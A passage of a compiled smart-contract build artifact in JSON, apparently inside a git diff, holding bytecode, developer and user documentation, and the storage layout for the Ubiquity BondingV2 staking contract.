90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b158015612afe57600080fd5b505afa158015612b12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b369190615787565b9050306001600160a01b031663cd6c212b6040518163ffffffff1660e01b815260040160206040518083038186803b158015612b7157600080fd5b505afa158015612b85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ba99190615787565b6001600160a01b031663a64154f08587856040518463ffffffff1660e01b8152600401612bd8939291906159f2565b60206040518083038186803b158015612bf057600080fd5b505afa158015612c04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c2891906158b5565b91506000306001600160a01b031663cd6c212b6040518163ffffffff1660e01b815260040160206040518083038186803b158015612c6557600080fd5b505afa158015612c79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c9d9190615787565b6001600160a01b031663a609d912600460009054906101000a90046001600160a01b03166001600160a01b031663c431e83c6040518163ffffffff1660e01b815260040160206040518083038186803b158015612cf957600080fd5b505afa158015612d0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612d319190615787565b6001600160a01b031663132c4feb6040518163ffffffff1660e01b815260040160206040518083038186803b158015612d6957600080fd5b505afa158015612d7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612da191906158b5565b6008546040516370a0823160e01b81523060048201526001600160a01b038716906370a082319060240160206040518083038186803b158015612de357600080fd5b505afa158015612df7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e1b91906158b5565b612e259190615b08565b6040516001600160e01b031960e085901b16815260048101929092526024820152604481018b905260640160206040518083038186803b158015612e6857600080fd5b505afa158015612e7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ea091906158b5565b90508260086000828254612eb49190615b08565b92505081905550878560a001818151612ecd9190615b08565b9052506007546004805460408051630110f17360e51b8152905164e8d4a5100094936001600160a01b039093169263221e2e6092808201926020929091829003018186803b158015612f1e57600080fd5b505afa158015612f32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f569190615787565b6001600160a01b0316637b80a5c08a6040518263ffffffff1660e01b8152600401612f8391815260200190565b604080518083038186803b158015612f9a57600080fd5b505afa158015612fae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612fd29190615817565b51612fdd9190615ae9565b612fe79190615ac9565b6060860152600480546040805163310c7a0f60e21b815290516001600160a01b039092169263c431e83c928282019260209290829003018186803b15801561302e57600080fd5b505afa158015613042573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130669190615787565b60a0860151606087015160808801516040516353ab9e7560e11b8152600481018c90526024810193909352604483019190915260648201526001600160a01b03919091169063a7573cea90608401600060405180830381600087803b1580156130ce57600080fd5b505af11580156130e2573d6000803e3d6000fd5b505050506131073384836130f69190615ab1565b6001600160a01b0385169190614fc3565b604080518981526020810183905290810184905260608101859052879033907fc37eb4d6b54bc2ffba48f4514cb217734c7ecd7c680cd2861e64ca48bc37a955906080016118ff565b600480546040805163039b1cd560e61b815290516001600160a01b03909216926391d1485492849263e6c735409281810192602092909190829003018186803b15801561319c57600080fd5b505afa1580156131b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131d491906158b5565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561321157600080fd5b505afa158015613225573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132499190615899565b6132835760405162461bcd60e51b815260206004820152600b60248201526a3737ba1036b0b730b3b2b960a91b6044820152606401610692565b60058190556040518181527fd04894175d9fa4e8890c5d32ca8845426912f890c3d8ac5b5a561045892f899590602001610971565b6004805460408051630110f17360e51b8152905160009384936001600160a01b03169263221e2e609281830192602092829003018186803b1580156132fc57600080fd5b505afa158015613310573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906133349190615787565b6001600160a01b0316633a98ef396040518163ffffffff1660e01b815260040160206040518083038186803b15801561336c57600080fd5b505afa158015613380573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906133a491906158b5565b9050600460009054906101000a90046001600160a01b03166001600160a01b031663214f78826040518163ffffffff1660e01b815260040160206040518083038186803b1580156133f457600080fd5b505afa158015613408573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061342c9190615787565b6001600160a01b031663cd324209600460009054906101000a90046001600160a01b03166001600160a01b031663c431e83c6040518163ffffffff1660e01b815260040160206040518083038186803b15801561348857600080fd5b505afa15801561349c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906134c09190615787565b6001600160a01b031663132c4feb6040518163ffffffff1660e01b815260040160206040518083038186803b1580156134f857600080fd5b505afa15801561350c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061353091906158b5565b6040516001600160e01b031960e084901b168152600481019190915260248101849052670de0b6b3a7640000604482015260640160206040518083038186803b15801561357c57600080fd5b505afa158015613590573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906135b491906158b5565b91505090565b600b546001600160a01b031633146136035760405162461bcd60e51b815260206004820152600c60248201526b3737ba1036b4b3b930ba37b960a11b6044820152606401610692565b600c805460018082019092557fdf6966c971051c3d54ec59162606531493a51404a002842f56009d7e5cf4a8c701805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b038616179055600d8054918201815560009081527fd7b6990105719101dabeb77144f2a3385c8033acd3af97e9423a695e81ad1eb59091018390556009805484929061369e908490615ab1565b9091555050600e8054600181019091557fbb7b4a454dc3493923482f07822329ed19e8244eff582cc204f8554c3620c3fd015550600c546001600160a01b039091166000908152600f6020526040902055565b600480546040805163039b1cd560e61b815290516001600160a01b03909216926391d1485492849263e6c735409281810192602092909190829003018186803b15801561373d57600080fd5b505afa158015613751573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061377591906158b5565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b1580156137b257600080fd5b505afa1580156137c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906137ea9190615899565b6138245760405162461bcd60e51b815260206004820152600b60248201526a3737ba1036b0b730b3b2b960a91b6044820152606401610692565b61382d81614ff3565b50565b60075460009015613867578164e8d4a51000600754856138509190615ae9565b61385a9190615ac9565b6138649190615b08565b90505b92915050565b600480546040805163039b1cd560e61b815290516001600160a01b03909216926391d1485492849263e6c735409281810192602092909190829003018186803b1580156138b957600080fd5b505afa1580156138cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906138f191906158b5565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561392e57600080fd5b505afa158015613942573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906139669190615899565b6139a05760405162461bcd60e51b815260206004820152600b60248201526a3737ba1036b0b730b3b2b960a91b6044820152606401610692565b600a805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b60006139dd60025460ff1690565b15613a1d5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610692565b81600111158015613a2f575060d08211155b613aa15760405162461bcd60e51b815260206004820152603160248201527f426f6e64696e673a206475726174696f6e206d7573742062652062657477656560448201527f6e203120616e6420323038207765656b730000000000000000000000000000006064820152608401610692565b6004805460408051638fe6368360e01b815290516001600160a01b0390921692638fe63683928282019260209290829003018186803b158015613ae357600080fd5b505afa158015613af7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613b1b9190615787565b6001600160a01b031663a2e620456040518163ffffffff1660e01b8152600401600060405180830381600087803b158015613b5557600080fd5b505af1158015613b69573d6000803e3d6000fd5b50505050613b7561470a565b613bc9333085600460009054906101000a90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b158015613133757600080fd5b6000600460009054906101000a90046001600160a01b03166001600160a01b031663214f78826040518163ffffffff1660e01b815260040160206040518083038186803b158015613c1957600080fd5b505afa158015613c2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613c519190615787565b60055460405163016cdd2960e61b8152600481018790526024810186905260448101919091526001600160a01b039190911690635b374a409060640160206040518083038186803b158015613ca557600080fd5b505afa158015613cb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613cdd91906158b5565b9050600060065484613cef9190615ae9565b613cf99043615ab1565b9050613d07338684846150b5565b9250600460009054906101000a90046001600160a01b03166001600160a01b031663221e2e606040518163ffffffff1660e01b815260040160206040518083038186803b158015613d5757600080fd5b505afa158015613d6b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613d8f9190615787565b604051630efe6a8b60e01b815233600482015260248101849052604481018590526001600160a01b039190911690630efe6a8b90606401600060405180830381600087803b158015613de057600080fd5b505af1158015613df4573d6000803e3d6000fd5b50506040805188815260208101869052908101879052606081018490528592503391507ff943cf10ef4d1e3239f4716ddecdf546e8ba8ab0e41deafd9a71a99936827e459060800160405180910390a3505092915050565b600b546001600160a01b03163314613e955760405162461bcd60e51b815260206004820152600c60248201526b3737ba1036b4b3b930ba37b960a11b6044820152606401610692565b6010805460ff1916911515919091179055565b600480546040805163039b1cd560e61b815290516001600160a01b03909216926391d1485492849263e6c735409281810192602092909190829003018186803b158015613ef457600080fd5b505afa158015613f08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613f2c91906158b5565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015613f6957600080fd5b505afa158015613f7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613fa19190615899565b613fdb5760405162461bcd60e51b815260206004820152600b60248201526a3737ba1036b0b730b3b2b960a91b6044820152606401610692565b61382d8161527a565b6001600160a01b0383166140605760405162461bcd60e51b815260206004820152603060248201527f636f6c6c65637461626c652d647573743a3a63616e742d73656e642d6475737460448201527f2d746f2d7a65726f2d61646472657373000000000000000000000000000000006064820152608401610692565b61406b60008361532f565b156140d05760405162461bcd60e51b815260206004820152602f60248201527f636f6c6c65637461626c652d647573743a3a746f6b656e2d69732d706172742d60448201526e1bd98b5d1a194b5c1c9bdd1bd8dbdb608a1b6064820152608401610692565b6001600160a01b03821673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415614131576040516001600160a01b0384169082156108fc029083906000818181858888f1935050505015801561412b573d6000803e3d6000fd5b50614145565b6141456001600160a01b0383168483614fc3565b604080516001600160a01b038086168252841660208201529081018290527f1e34c1aee8e83c2dcc14c21bb4bfeea7f46c0c998cb797ac7cc4d7a18f5c656b9060600160405180910390a1505050565b60025460ff166141e75760405162461bcd60e51b815260206004820152601460248201527f5061757361626c653a206e6f74207061757365640000000000000000000000006044820152606401610692565b6002805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b61423961574d565b61427b6040518060c0016040528060006001600160a01b0316815260200160008152602001600081526020016000815260200160008152602001600081525090565b600480546040805163310c7a0f60e21b815290516001600160a01b039092169263c431e83c928282019260209290829003018186803b1580156142bd57600080fd5b505afa1580156142d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906142f59190615787565b604051627eeac760e11b8152336004820152602481018590526001600160a01b03919091169062fdd58e9060440160206040518083038186803b15801561433b57600080fd5b505afa15801561434f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061437391906158b5565b6001146143c25760405162461bcd60e51b815260206004820152601c60248201527f426f6e64696e673a2063616c6c6572206973206e6f74206f776e6572000000006044820152606401610692565b6000600460009054906101000a90046001600160a01b03166001600160a01b031663c431e83c6040518163ffffffff1660e01b815260040160206040518083038186803b15801561441257600080fd5b505afa158015614426573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061444a9190615787565b604051636c7f3b2160e11b8152600481018690529091506001600160a01b0382169063d8fe76429060240160c06040518083038186803b15801561448d57600080fd5b505afa1580156144a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906144c591906158cd565b9150816080015143116145405760405162461bcd60e51b815260206004820152602f60248201527f426f6e64696e673a2052656465656d206e6f7420616c6c6f776564206265666f60448201527f726520626f6e64696e672074696d6500000000000000000000000000000000006064820152608401610692565b6004805460408051638fe6368360e01b815290516001600160a01b0390921692638fe63683928282019260209290829003018186803b15801561458257600080fd5b505afa158015614596573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906145ba9190615787565b6001600160a01b031663a2e620456040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156145f457600080fd5b505af1158015614608573d6000803e3d6000fd5b50506004805460408051630110f17360e51b815290516001600160a01b03909216945063221e2e6093508083019260209291829003018186803b15801561464e57600080fd5b505afa158015614662573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906146869190615787565b6001600160a01b0316637b80a5c0856040518263ffffffff1660e01b81526004016146b391815260200190565b604080518083038186803b1580156146ca57600080fd5b505afa1580156146de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906147029190615817565b925050915091565b6000600460009054906101000a90046001600160a01b03166001600160a01b031663c431e83c6040518163ffffffff1660e01b815260040160206040518083038186803b15801561475a57600080fd5b505afa15801561476e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906147929190615787565b90506000600460009054906101000a90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b1580156147e457600080fd5b505afa1580156147f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061481c9190615787565b6040516370a0823160e01b81523060048201526001600160a01b0391909116906370a082319060240160206040518083038186803b15801561485d57600080fd5b505afa158015614871573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061489591906158b5565b90506000600460009054906101000a90046001600160a01b03166001600160a01b031663221e2e606040518163ffffffff1660e01b815260040160206040518083038186803b1580156148e757600080fd5b505afa1580156148fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061491f9190615787565b6001600160a01b0316633a98ef396040518163ffffffff1660e01b815260040160206040518083038186803b15801561495757600080fd5b505afa15801561496b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061498f91906158b5565b9050600954836001600160a01b031663132c4feb6040518163ffffffff1660e01b815260040160206040518083038186803b1580156149cd57600080fd5b505afa1580156149e1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190614a0591906158b5565b614a0f9190615ab1565b8210158015614a1e5750600081115b15610808576000600954846001600160a01b031663132c4feb6040518163ffffffff1660e01b815260040160206040518083038186803b158015614a6157600080fd5b505afa158015614a75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190614a9991906158b5565b614aa39190615ab1565b614aad9084615b08565b9050600854811115614af7578160085482614ac89190615b08565b614ad79064e8d4a51000615ae9565b614ae19190615ac9565b600754614aee9190615ab1565b60075560088190555b50505050565b6040516001600160a01b0380851660248301528316604482015260648101829052614af79085906323b872dd60e01b906084015b60408051601f198184030181529190526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff166001600160e01b031990931692909217909152615351565b60025460ff1615614bc35760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610692565b6002805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586142143390565b6001600160a01b0383166000908152600f6020526040812054614c4e5760405162461bcd60e51b815260206004820152600e60248201526d6e6f74207631206164647265737360901b6044820152606401610692565b60008311614c9e5760405162461bcd60e51b815260206004820152601160248201527f4c5020616d6f756e74206973207a65726f0000000000000000000000000000006044820152606401610692565b81600111158015614cb0575060d08211155b614d225760405162461bcd60e51b815260206004820152602860248201527f4475726174696f6e206d757374206265206265747765656e203120616e64203260448201527f3038207765656b730000000000000000000000000000000000000000000000006064820152608401610692565b6001600160a01b038085166000908152600f602090815260408083208390556004805482516310a7bc4160e11b815292519495169363214f78829383830193909290829003018186803b158015614d7857600080fd5b505afa158015614d8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190614db09190615787565b60055460405163016cdd2960e61b8152600481018790526024810186905260448101919091526001600160a01b039190911690635b374a409060640160206040518083038186803b158015614e0457600080fd5b505afa158015614e18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190614e3c91906158b5565b9050614e4661470a565b600060065484614e569190615ae9565b614e609043615ab1565b9050614e6e868684846150b5565b92508460096000828254614e829190615b08565b90915550506004805460408051630110f17360e51b815290516001600160a01b039092169263221e2e60928282019260209290829003018186803b158015614ec957600080fd5b505afa158015614edd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190614f019190615787565b604051630efe6a8b60e01b81526001600160a01b03888116600483015260248201859052604482018690529190911690630efe6a8b90606401600060405180830381600087803b158015614f5457600080fd5b505af1158015614f68573d6000803e3d6000fd5b505060408051888152602081018690529081018790528592506001600160a01b03891691507fc8102fa5c0a66c20caa3ebb502aecfcc6e0ea963896d5a14c1bd8c10c456c5539060600160405180910390a350509392505050565b6040516001600160a01b03831660248201526044810182905261080890849063a9059cbb60e01b90606401614b31565b614ffe60008261532f565b6150705760405162461bcd60e51b815260206004820152603060248201527f636f6c6c65637461626c652d647573743a3a746f6b656e2d6e6f742d7061727460448201527f2d6f662d7468652d70726f746f636f6c000000000000000000000000000000006064820152608401610692565b61507b600082615436565b506040516001600160a01b03821681527fddd12a8c3ce9bea5c97a5d25c8b777caab85752828f56b7b8ad5a0b30340a25f90602001610971565b6000806150c06132b8565b9050806151355760405162461bcd60e51b815260206004820152602760248201527f426f6e64696e673a2073686172652076616c75652073686f756c64206e6f742060448201527f6265206e756c6c000000000000000000000000000000000000000000000000006064820152608401610692565b600064e8d4a510006007548661514b9190615ae9565b6151559190615ac9565b9050600460009054906101000a90046001600160a01b03166001600160a01b031663c431e83c6040518163ffffffff1660e01b815260040160206040518083038186803b1580156151a557600080fd5b505afa1580156151b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906151dd9190615787565b604051632991fa3b60e21b81526001600160a01b038981166004830152602482018990526044820184905260648201879052919091169063a647e8ec90608401602060405180830381600087803b15801561523757600080fd5b505af115801561524b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061526f91906158b5565b979650505050505050565b61528560008261532f565b156152ea5760405162461bcd60e51b815260206004820152602f60248201527f636f6c6c65637461626c652d647573743a3a746f6b656e2d69732d706172742d60448201526e1bd98b5d1a194b5c1c9bdd1bd8dbdb608a1b6064820152608401610692565b6152f560008261544b565b506040516001600160a01b03821681527fa3e4ba856dd0fdee3a33ab9b82499fd01f05236f3d08cc4e7108698c6e3e7e5090602001610971565b6001600160a01b03811660009081526001830160205260408120541515613864565b60006153a6826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166154609092919063ffffffff16565b80519091501561080857808060200190518101906153c49190615899565b6108085760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60448201527f6f742073756363656564000000000000000000000000000000000000000000006064820152608401610692565b6000613864836001600160a01b038416615479565b6000613864836001600160a01b038416615596565b606061546f84846000856155e5565b90505b9392505050565b6000818152600183016020526040812054801561558c57600061549d600183615b08565b85549091506000906154b190600190615b08565b90508181146155325760008660000182815481106154df57634e487b7160e01b600052603260045260246000fd5b906000526020600020015490508087600001848154811061551057634e487b7160e01b600052603260045260246000fd5b6000918252602080832090910192909255918252600188019052604090208390555b855486908061555157634e487b7160e01b600052603160045260246000fd5b600190038181906000526020600020016000905590558560010160008681526020019081526020016000206000905560019350505050613867565b6000915050613867565b60008181526001830160205260408120546155dd57508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155613867565b506000613867565b60608247101561565d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f60448201527f722063616c6c00000000000000000000000000000000000000000000000000006064820152608401610692565b843b6156ab5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610692565b600080866001600160a01b031685876040516156c791906159c3565b60006040518083038185875af1925050503d8060008114615704576040519150601f19603f3d011682016040523d82523d6000602084013e615709565b606091505b509150915061526f82828660608315615723575081615472565b8251156157335782518084602001fd5b8160405162461bcd60e51b815260040161069291906159df565b60405180604001604052806002906020820280368337509192915050565b60006020828403121561577c578081fd5b813561547281615b9c565b600060208284031215615798578081fd5b815161547281615b9c565b6000806000606084860312156157b7578182fd5b83356157c281615b9c565b925060208401356157d281615b9c565b929592945050506040919091013590565b6000806000606084860312156157f7578283fd5b833561580281615b9c565b95602085013595506040909401359392505050565b600060408284031215615828578081fd5b82601f830112615836578081fd5b6158406040615a72565b808385604086011115615851578384fd5b835b6002811015615872578151845260209384019390910190600101615853565b509095945050505050565b60006020828403121561588e578081fd5b813561547281615bb1565b6000602082840312156158aa578081fd5b815161547281615bb1565b6000602082840312156158c6578081fd5b5051919050565b600060c082840312156158de578081fd5b6158e860c0615a72565b82516158f381615b9c565b808252506020830151602082015260408301516040820152606083015160608201526080830151608082015260a083015160a08201528091505092915050565b600060208284031215615944578081fd5b5035919050565b6000806040838503121561595d578182fd5b50508035926020909101359150565b600080600060608486031215615980578283fd5b505081359360208301359350604090920135919050565b600081518084526159af816020860160208601615b1f565b601f01601f19169290920160200192915050565b600082516159d5818460208701615b1f565b9190910192915050565b6000602082526138646020830184615997565b6000610120820190506001600160a01b0385511682526020808601518184015260408601516040840152606086015160608401526080860151608084015260a086015160a084015260c083018560005b6002811015615a5f57815183529183019190830190600101615a42565b5050505082610100830152949350505050565b604051601f8201601f1916810167ffffffffffffffff81118282101715615aa957634e487b7160e01b600052604160045260246000fd5b604052919050565b60008219821115615ac457615ac4615b86565b500190565b600082615ae457634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615615b0357615b03615b86565b500290565b600082821015615b1a57615b1a615b86565b500390565b60005b83811015615b3a578181015183820152602001615b22565b83811115614af75750506000910152565b600181811c90821680615b5f57607f821691505b60208210811415615b8057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461382d57600080fd5b801515811461382d57600080fdfea164736f6c6343000803000a", - "devdoc": { - "kind": "dev", - "methods": { - "addLiquidity(uint256,uint256,uint256)": { - "details": "Add an amount of uAD-3CRV LP tokens", - "params": { - "_amount": "of LP token to deposit", - "_id": "bonding shares id", - "_weeks": "during lp token will be held" - } - }, - "addUserToMigrate(address,uint256,uint256)": { - "details": "addUserToMigrate add a user to migrate from V1. IMPORTANT execute that function BEFORE sending the corresponding LP token otherwise they will have extra LP rewards", - "params": { - "_lpBalance": "LP Balance of v1 user", - "_original": "address of v1 user", - "_weeks": "weeks lockup of v1 user" - } - }, - "crvPriceReset(uint256)": { - "details": "crvPriceReset remove 3CRV unilateraly from the curve LP share sitting inside the bonding contract and send the 3CRV received to the treasury This will have the immediate effect of pushing the uAD price LOWER", - "params": { - "amount": "of LP token to be removed for 3CRV tokens" - } - }, - "deposit(uint256,uint256)": { - "details": "deposit uAD-3CRV LP tokens for a duration to receive bonding shares", - "params": { - "_lpsAmount": "of LP token to send", - "_weeks": "during lp token will be held" - } - }, - "lpRewardForShares(uint256,uint256)": { - "details": "return the amount of Lp token rewards an amount of shares entitled", - "params": { - "amount": "of bonding shares", - "lpRewardDebt": "lp rewards that has already been distributed" - } - }, - "migrate()": { - "details": "migrate let a user migrate from V1" - }, - "paused()": { - "details": "Returns true if the contract is paused, and false otherwise." - }, - "removeLiquidity(uint256,uint256)": { - "details": "Remove an amount of uAD-3CRV LP tokens", - "params": { - "_amount": "of LP token deposited when _id was created to be withdrawn", - "_id": "bonding shares id" - } - }, - "uADPriceReset(uint256)": { - "details": "uADPriceReset remove uAD unilateraly from the curve LP share sitting inside the bonding contract and send the uAD received to the treasury. This will have the immediate effect of pushing the uAD price HIGHER", - "params": { - "amount": "of LP token to be removed for uAD" - } - } - }, - "version": 1 - }, - "userdoc": { - "kind": "user", - "methods": { - "addLiquidity(uint256,uint256,uint256)": { - "notice": "bonding shares are ERC1155 (aka NFT) because they have an expiration date" - }, - "addProtocolToken(address)": { - "notice": "Collectable Dust" - }, - "addUserToMigrate(address,uint256,uint256)": { - "notice": "user will then be able to migrate." - }, - "crvPriceReset(uint256)": { - "notice": "it will remove one coin only from the curve LP share sitting in the bonding contract" - }, - "deposit(uint256,uint256)": { - "notice": "weeks act as a multiplier for the amount of bonding shares to be received" - }, - "migrate()": { - "notice": "user will then be able to migrate" - }, - "removeLiquidity(uint256,uint256)": { - "notice": "bonding shares are ERC1155 (aka NFT) because they have an expiration date" - }, - "uADPriceReset(uint256)": { - "notice": "it will remove one coin only from the curve LP share sitting in the bonding contract" - } - }, - "version": 1 - }, - "storageLayout": { - "storage": [ - { - "astId": 22009, - "contract": "contracts/BondingV2.sol:BondingV2", - "label": "_protocolTokens", - "offset": 0, - "slot": "0", - "type": "t_struct(AddressSet)3753_storage" - }, - { - "astId": 489, - "contract": "contracts/BondingV2.sol:BondingV2", - "label": "_paused", - "offset": 0, - "slot": "2", - "type": "t_bool" - }, - { - "astId": 6162, - "contract": "contracts/BondingV2.sol:BondingV2", - "label": "data", - "offset": 0, - "slot": "3", - "type": "t_bytes_storage" - }, - { - "astId": 6165, - "contract": "contracts/BondingV2.sol:BondingV2", - "label": "manager", - "offset": 0, - "slot": "4", - "type": "t_contract(UbiquityAlgorithmicDollarManager)14392" - }, - { - "astId": 6177, - "contract": "contracts/BondingV2.sol:BondingV2", - "label": "bondingDiscountMultiplier", - "offset": 0, - "slot": "5", - "type": "t_uint256" - }, - { - "astId": 6180, - "contract": "contracts/BondingV2.sol:BondingV2", - "label": "blockCountInAWeek", - "offset": 0, - "slot": "6", - "type": "t_uint256" - }, - { - "astId": 6183, - "contract": "contracts/BondingV2.sol:BondingV2", - "label": "accLpRewardPerShare", - "offset": 0, - "slot": "7", - "type": "t_uint256" - }, - { - "astId": 6185, - "contract": "contracts/BondingV2.sol:BondingV2", - "label": "lpRewards", - "offset": 0, - "slot": "8", - "type": "t_uint256" - }, - { - "astId": 6187, - "contract": "contracts/BondingV2.sol:BondingV2", - "label": "totalLpToMigrate", - "offset": 0, - "slot": "9", - "type": "t_uint256" - }, - { - "astId": 6189, - "contract": "contracts/BondingV2.sol:BondingV2", - "label": "bondingFormulasAddress", - "offset": 0, - "slot": "10", - "type": "t_address" - }, - { - "astId": 6191, - "contract": "contracts/BondingV2.sol:BondingV2", - "label": "migrator", - "offset": 0, - "slot": "11", - "type": "t_address" - }, - { - "astId": 6194, - "contract": "contracts/BondingV2.sol:BondingV2", - "label": "_toMigrateOriginals", - "offset": 0, - "slot": "12", - "type": "t_array(t_address)dyn_storage" - }, - { - "astId": 6197, - "contract": "contracts/BondingV2.sol:BondingV2", - "label": "_toMigrateLpBalances", - "offset": 0, - "slot": "13", - "type": "t_array(t_uint256)dyn_storage" - }, - { - "astId": 6200, - "contract": "contracts/BondingV2.sol:BondingV2", - "label": "_toMigrateWeeks", - "offset": 0, - "slot": "14", - "type": "t_array(t_uint256)dyn_storage" - }, - { - "astId": 6204, - "contract": "contracts/BondingV2.sol:BondingV2", - "label": "toMigrateId", - "offset": 0, - "slot": "15", - "type": "t_mapping(t_address,t_uint256)" - }, - { - "astId": 6207, - "contract": "contracts/BondingV2.sol:BondingV2", - "label": "migrating", - "offset": 0, - "slot": "16", - "type": "t_bool" - } - ], - "types": { - "t_address": { - "encoding": "inplace", - "label": "address", - "numberOfBytes": "20" - }, - "t_array(t_address)dyn_storage": { - "base": "t_address", - "encoding": "dynamic_array", - "label": "address[]", - "numberOfBytes": "32" - }, - "t_array(t_bytes32)dyn_storage": { - "base": "t_bytes32", - "encoding": "dynamic_array", - "label": "bytes32[]", - "numberOfBytes": "32" - }, - "t_array(t_uint256)dyn_storage": { - "base": "t_uint256", - "encoding": "dynamic_array", - "label": "uint256[]", - "numberOfBytes": "32" - }, - "t_bool": { - "encoding": "inplace", - "label": "bool", - "numberOfBytes": "1" - }, - "t_bytes32": { - "encoding": "inplace", - "label": "bytes32", - "numberOfBytes": "32" - }, - "t_bytes_storage": { - "encoding": "bytes", - "label": "bytes", - "numberOfBytes": "32" - }, - "t_contract(UbiquityAlgorithmicDollarManager)14392": { - "encoding": "inplace", - "label": "contract UbiquityAlgorithmicDollarManager", - "numberOfBytes": "20" - }, - "t_mapping(t_address,t_uint256)": { - "encoding": "mapping", - "key": "t_address", - "label": "mapping(address => uint256)", - "numberOfBytes": "32", - "value": "t_uint256" - }, - "t_mapping(t_bytes32,t_uint256)": { - "encoding": "mapping", - "key": "t_bytes32", - "label": "mapping(bytes32 => uint256)", - "numberOfBytes": "32", - "value": "t_uint256" - }, - "t_struct(AddressSet)3753_storage": { - "encoding": "inplace", - "label": "struct EnumerableSet.AddressSet", - "members": [ - { - "astId": 3752, - "contract": "contracts/BondingV2.sol:BondingV2", - "label": "_inner", - "offset": 0, - "slot": "0", - "type": "t_struct(Set)3482_storage" - } - ], - "numberOfBytes": "64" - }, - "t_struct(Set)3482_storage": { - "encoding": "inplace", - "label": "struct EnumerableSet.Set", - "members": [ - { - "astId": 3477, - "contract": "contracts/BondingV2.sol:BondingV2", - "label": "_values", - "offset": 0, - "slot": "0", - "type": "t_array(t_bytes32)dyn_storage" - }, - { - "astId": 3481, - "contract": "contracts/BondingV2.sol:BondingV2", - "label": "_indexes", - "offset": 0, - "slot": "1", - "type": "t_mapping(t_bytes32,t_uint256)" - } - ], - "numberOfBytes": "64" - }, - "t_uint256": { - "encoding": "inplace", - "label": "uint256", - "numberOfBytes": "32" - } - } - } -} diff --git 